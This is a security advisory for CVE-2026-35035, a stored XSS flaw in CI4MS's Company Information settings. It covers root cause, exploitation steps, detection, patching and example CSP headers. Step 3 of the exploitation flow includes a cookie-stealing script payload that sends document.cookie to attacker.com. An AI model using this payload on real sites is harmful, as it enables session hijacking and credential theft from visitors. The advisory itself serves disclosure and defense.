CVE-2026-35035: CI4MS CodeIgniter CMS XSS Vulnerability

CVE-2026-35035 Overview

CVE-2026-35035 is a Stored Cross-Site Scripting (XSS) vulnerability in CI4MS, a CodeIgniter 4-based CMS skeleton designed for production-ready modular architecture with RBAC authorization and theme support. The vulnerability exists in the System Settings – Company Information functionality, where several administrative configuration fields fail to properly sanitize user-controlled input before storing it in the database. When this data is subsequently rendered on public-facing pages such as the main landing page, it is output without proper encoding, allowing malicious scripts to execute in visitors' browsers.

Critical Impact

Attackers with administrative access can inject persistent malicious scripts that execute in the browsers of all public website visitors, potentially leading to credential theft, session hijacking, and defacement of public-facing pages.

Affected Products

• CI4MS versions prior to 0.31.2.0
• CI4MS CMS public-facing pages (main landing page)
• Websites using CI4MS Company Information system settings

Discovery Timeline

• 2026-04-06 - CVE CVE-2026-35035 published to NVD
• 2026-04-08 - Last updated in NVD database

Technical Details for CVE-2026-35035

Vulnerability Analysis

This Stored Cross-Site Scripting vulnerability occurs due to improper output encoding in CI4MS. The application accepts user-controlled input through administrative configuration fields in the System Settings – Company Information section. This input is persisted to the database without adequate sanitization and is later rendered on public-facing pages without proper output encoding.

The attack surface is notable because it requires elevated privileges to exploit—an attacker must have administrative access to modify the Company Information settings. However, the impact is amplified because the malicious payload executes on public-facing pages viewed by all site visitors, not within the administrative dashboard itself. This creates a scenario where a compromised admin account or a malicious insider could weaponize the CMS to attack the general public.

Root Cause

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The application fails to implement proper output encoding when rendering Company Information data on public-facing templates. While the data may be stored as-is in the database, the critical failure occurs at the point of output where the stored values are inserted into HTML without escaping special characters like <, >, ", and &.

Attack Vector

The attack is network-based and requires high privileges (administrative access) to execute. An attacker with administrative credentials can navigate to the System Settings – Company Information section and inject malicious JavaScript payloads into vulnerable fields such as company name, address, or contact information. Once saved, these payloads are stored in the database and executed every time a visitor loads the public-facing pages where this information is displayed.

The exploitation flow involves:

1. Attacker gains administrative access to the CI4MS dashboard
2. Attacker navigates to System Settings – Company Information
3. Attacker injects malicious JavaScript in configuration fields (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>)
4. The payload is stored in the database
5. Public visitors loading the main landing page trigger script execution
6. Attacker harvests cookies, credentials, or performs other malicious actions

For detailed technical information and proof of concept, refer to the GitHub Security Advisory.

Detection Methods for CVE-2026-35035

Indicators of Compromise

• Unusual JavaScript code or HTML tags present in database records for company information settings
• Unexpected external script references in page source code on public-facing pages
• Reports from users about suspicious browser behavior or redirects when visiting the site
• Web application firewall (WAF) logs showing XSS pattern matches in responses

Detection Strategies

• Deploy web application firewall rules to detect XSS patterns in HTTP responses served to public visitors
• Implement Content Security Policy (CSP) headers with strict script-src directives to prevent inline script execution
• Conduct regular database audits to identify suspicious content in configuration tables
• Monitor network traffic for unusual outbound connections originating from client browsers

Monitoring Recommendations

• Enable detailed logging for all administrative actions, particularly changes to system settings
• Configure SIEM alerts for HTML/JavaScript patterns in configuration database fields
• Implement real-time monitoring of page integrity using subresource integrity checks
• Review access logs for unusual patterns of administrative login activity

How to Mitigate CVE-2026-35035

Immediate Actions Required

• Upgrade CI4MS to version 0.31.2.0 or later immediately
• Audit existing Company Information settings for any suspicious or malicious content
• Review administrative user accounts and enforce strong authentication (MFA)
• Implement Content Security Policy headers as a defense-in-depth measure

Patch Information

The vulnerability has been addressed in CI4MS version 0.31.2.0. The fix implements proper output encoding for Company Information data when rendered on public-facing pages. Organizations should upgrade to this version or later to remediate the vulnerability. For additional details, see the GitHub Security Advisory.

Workarounds

• Implement strict Content Security Policy headers that block inline JavaScript execution (e.g., script-src 'self')
• Manually sanitize existing Company Information database entries to remove any suspicious content
• Restrict administrative access to trusted users only and implement IP-based access controls for the admin panel
• Deploy a web application firewall with XSS detection rules to filter malicious output

# Example Content Security Policy header configuration for Apache
# Add to .htaccess or Apache configuration
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; frame-ancestors 'self';"

# Example for Nginx
# Add to server block configuration
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; frame-ancestors 'self';";